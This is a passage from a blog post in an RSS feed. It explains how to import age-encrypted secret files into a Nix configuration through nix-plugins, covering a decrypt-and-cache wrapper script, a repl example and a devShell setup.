&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt;rage&lt;/span&gt;&lt;span style="color: #D19A66;"&gt; --decrypt --identity&lt;/span&gt;&lt;span style="color: #98C379;"&gt; &amp;quot;&lt;/span&gt;&lt;span style="color: #E06C75;font-style: italic;"&gt;$1&lt;/span&gt;&lt;span style="color: #98C379;"&gt;&amp;quot;&lt;/span&gt;&lt;span style="color: #D19A66;"&gt; --output&lt;/span&gt;&lt;span style="color: #98C379;"&gt; &amp;quot;&lt;/span&gt;&lt;span style="color: #E06C75;"&gt;$TMP&lt;/span&gt;&lt;span style="color: #98C379;"&gt;&amp;quot; &amp;quot;&lt;/span&gt;&lt;span style="color: #E06C75;font-style: italic;"&gt;$2&lt;/span&gt;&lt;span style="color: #98C379;"&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #7F848E;font-style: italic;"&gt;# print the filename of the result&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #56B6C2;"&gt;echo&lt;/span&gt;&lt;span style="color: #98C379;"&gt; &amp;quot;&lt;/span&gt;&lt;span style="color: #E06C75;"&gt;$TMP&lt;/span&gt;&lt;span style="color: #98C379;"&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This will try to decrypt whatever file is given with the provided identity,
place the cleartext result in a new &lt;code&gt;.nix&lt;/code&gt; file in &lt;code&gt;/tmp&lt;/code&gt; and return the path to that file.
This file is then imported by our builtin and so we can now finally import encrypted files:&lt;/p&gt;
&lt;pre class="giallo" style="color: #ABB2BF; background-color: #282C34;"&gt;&lt;code data-lang="shellscript"&gt;&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt;$&lt;/span&gt;&lt;span style="color: #98C379;"&gt; nix repl&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt;nix-repl&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: #98C379;"&gt; secrets = builtins.extraBuiltins.importEncrypted ./yubikey-keygrab.txt ./secrets.nix.age&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #7F848E;font-style: italic;"&gt;# &amp;lt;I&amp;#39;m prompted to unlock my YubiKey&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt;nix-repl&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: #98C379;"&gt; :p secrets&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span&gt;{&lt;/span&gt;&lt;span style="color: #61AFEF;"&gt; home&lt;/span&gt;&lt;span style="color: #98C379;"&gt; = { latitude = &amp;quot;22.4438556&amp;quot;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;span style="color: #61AFEF;"&gt; longitude&lt;/span&gt;&lt;span style="color: #98C379;"&gt; = &amp;quot;-74.2203343&amp;quot;&lt;/span&gt;&lt;span&gt;; }; }&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;So we now can decrypt secrets at evaluation time in nix!
Unfortunately, it's mildly inconvenient to enter a PIN or password each time I want to build my config.
Since we are only dealing with PII and not true secrets, I don't mind having the decrypted content
around on my machine for a longer time. So I extended the wrapper script to cache the output by using a deterministic
path based on the &lt;code&gt;sha512sum&lt;/code&gt; of the encrypted content. It certainly makes my life a lot easier,
but if your threat model is different you can of course leave the script as-is.&lt;/p&gt;
&lt;p&gt;The cache can even live outside of the repository, meaning I don't have to worry about adding the decrypted files to
git accidentally - I settled on &lt;code&gt;/var/tmp&lt;/code&gt; so it persists across reboots. If you want to have a look at the extended script,
you can view it &lt;a rel="external" href="https://github.com/oddlama/nix-config/blob/main/nix/rage-decrypt-and-cache.sh"&gt;here in my nix-config&lt;/a&gt; repository.&lt;/p&gt;
&lt;h3 id="automated-setup-in-a-devshell"&gt;&lt;span class="group"&gt;
&lt;span class="relative"&gt;
&lt;a class="select-none absolute pl-6 pr-2 end-0 top-1/2 -translate-y-1/2 invisible hover:visible group-hover:visible" style="font-size: 70%" href="#automated-setup-in-a-devshell" aria-label="Anchor link for: automated-setup-in-a-devshell"&gt;🔗&lt;/a&gt;
&lt;/span&gt;
&lt;!--
This might be the worst thing I've ever done. By omitting this closing tag on purpose,
we force the browser fix that mistake by inserting a matching closing tag _after_
the heading text. This allows us to construct a group around the text which
we would normally not be able to do in this template. Well, now cannot not know it anymore.
&lt;/span&gt;
--&gt;
Automated setup in a devShell&lt;/h3&gt;
&lt;p&gt;There is one additional caveat which I ignored previously that we have to address. Using &lt;code&gt;nix-plugins&lt;/code&gt; requires a matching version
of Nix to work, since it links against the internal nix functions and these change frequently with new versions.
A mismatch between the two programs may cause an error when calling &lt;code&gt;nix&lt;/code&gt;:&lt;/p&gt;
&lt;pre class="giallo" style="color: #ABB2BF; background-color: #282C34;"&gt;&lt;code data-lang="shellscript"&gt;&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt;error:&lt;/span&gt;&lt;span style="color: #98C379;"&gt; could not dynamically open plugin file &amp;#39;[...]/lib/nix/plugins/libnix-extra-builtins.so&amp;#39;:&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt;undefined&lt;/span&gt;&lt;span style="color: #98C379;"&gt; symbol: _ZN3nix17prim_importNativeERNS_9EvalStateERKNS_3PosEPPNS_5ValueERS5&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;A pretty simple solution to this is to use both &lt;code&gt;nix&lt;/code&gt; and &lt;code&gt;nix-plugins&lt;/code&gt; from the same version
of nixpkgs, which is trivial when you have a devshell in use already. And while we're at it
we can also use it to export the &lt;code&gt;NIX_PLUGINS&lt;/code&gt;. This means we now just have to enter the devshell
with &lt;code&gt;nix-shell shell.nix&lt;/code&gt; (or &lt;code&gt;nix develop&lt;/code&gt; if you are using flakes) and everything will be
set up automatically. Here's an example shell:&lt;/p&gt;
&lt;pre class="giallo" style="color: #ABB2BF; background-color: #282C34;"&gt;&lt;code data-lang="nix"&gt;&lt;span class="giallo-l"&gt;&lt;span&gt;{&lt;/span&gt;&lt;span style="font-style: italic;"&gt; pkgs&lt;/span&gt;&lt;span&gt; ?&lt;/span&gt;&lt;span style="color: #56B6C2;"&gt; import&lt;/span&gt;&lt;span style="color: #98C379;"&gt; &amp;lt;nixpkgs&amp;gt;&lt;/span&gt;&lt;span&gt; {} }:&lt;/span&gt;&lt;span style="color: #E06C75;font-style: italic;"&gt; pkgs&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span style="color: #E06C75;font-style: italic;"&gt;mkShell&lt;/span&gt;&lt;span&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #D19A66;"&gt; nativeBuildInputs&lt;/span&gt;&lt;span&gt; = [&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #7F848E;font-style: italic;"&gt; # Make sure to grab nix to match nix-plugins below&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #E06C75;font-style: italic;"&gt; pkgs&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span style="color: #E06C75;font-style: italic;"&gt;nix&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #7F848E;font-style: italic;"&gt; # Anything required for the decryption script&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #E06C75;font-style: italic;"&gt; pkgs&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span style="color: #E06C75;font-style: italic;"&gt;age&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #7F848E;font-style: italic;"&gt; # Your other stuff ...&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span&gt; ];&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #7F848E;font-style: italic;"&gt; # We use ${./.} here to get a stable path to our extra-builtins.nix file potentially from&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #7F848E;font-style: italic;"&gt; # the nix store, which will allow this to be used with pure evaluation (default for flakes).&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #D19A66;"&gt; shellHook&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span style="color: #98C379;"&gt; &amp;#39;&amp;#39;&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #98C379;"&gt; export NIX_CONFIG=&amp;quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #98C379;"&gt; plugin-files = &lt;/span&gt;&lt;span style="color: #C678DD;"&gt;${&lt;/span&gt;&lt;span style="color: #E06C75;font-style: italic;"&gt;pkgs&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span style="color: #E06C75;font-style: italic;"&gt;nix-plugins&lt;/span&gt;&lt;span style="color: #C678DD;"&gt;}&lt;/span&gt;&lt;span style="color: #98C379;"&gt;/lib/nix/plugins&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #98C379;"&gt; extra-builtins-file = &lt;/span&gt;&lt;span style="color: #C678DD;"&gt;${&lt;/span&gt;&lt;span style="color: #98C379;"&gt;./.&lt;/span&gt;&lt;span style="color: #C678DD;"&gt;}&lt;/span&gt;&lt;span style="color: #98C379;"&gt;/extra-builtins.nix&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #98C379;"&gt; &amp;quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #98C379;"&gt; &amp;#39;&amp;#39;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;h2 id="conclusion"&gt;&lt;span class="group"&gt;
&lt;span class="relative"&gt;
&lt;a class="select-none absolute pl-6 pr-2 end-0 top-1/2 -translate-y-1/2 invisible hover:visible group-hover:visible" style="font-size: 70%" href="#conclusion" aria-label="Anchor link for: conclusion"&gt;🔗&lt;/a&gt;
&lt;/span&gt;
&lt;!--
This might be the worst thing I've ever done. By omitting this closing tag on purpose,
we force the browser fix that mistake by inserting a matching closing tag _after_
the heading text. This allows us to construct a group around the text which
we would normally not be able to do in this template. Well, now cannot not know it anymore.
&lt;/span&gt;
--&gt;
Conclusion&lt;/h2&gt;
&lt;p&gt;We've seen different ways to manage private information in a nix repository,
from a simple split-repository over git-crypt to our custom solution.
We learned about Nix's plugin system and the related nix-plugins project which allowed
us to define our own &lt;code&gt;importEncrypted&lt;/code&gt; function that we can now use directly from nix.&lt;/p&gt;
&lt;p&gt;Is the final solution better than the alternatives? Probably not, but I would say it isn't too bad either.
I definitely had a lot of fun tinkering around and was able to make something that I like using.
In any case, I hope you enjoyed it and maybe learned something interesting today.&lt;/p&gt;
&lt;hr /&gt;
&lt;div class="footnote-definition" id="1"&gt;&lt;sup class="footnote-definition-label"&gt;1&lt;/sup&gt;
&lt;p&gt;Regarding true secrets, there is a &lt;a rel="external" href="https://github.com/NixOS/nix/issues/8"&gt;long-standing issue&lt;/a&gt; to add first-class support
for private files to Nix, which could simplify some things, but for now, we have to make do without it.
And even if there was support to have private files in the nix store, it would not directly solve all problems.
Many people first build their configuration on another machine and then deploy it to a remote server from there.
In this case, the build machine will also get a copy of the secret placed in its store, which you likely want to avoid.
So it won't be a universal solution.&lt;/p&gt;
&lt;/div&gt;</description></item></channel></rss>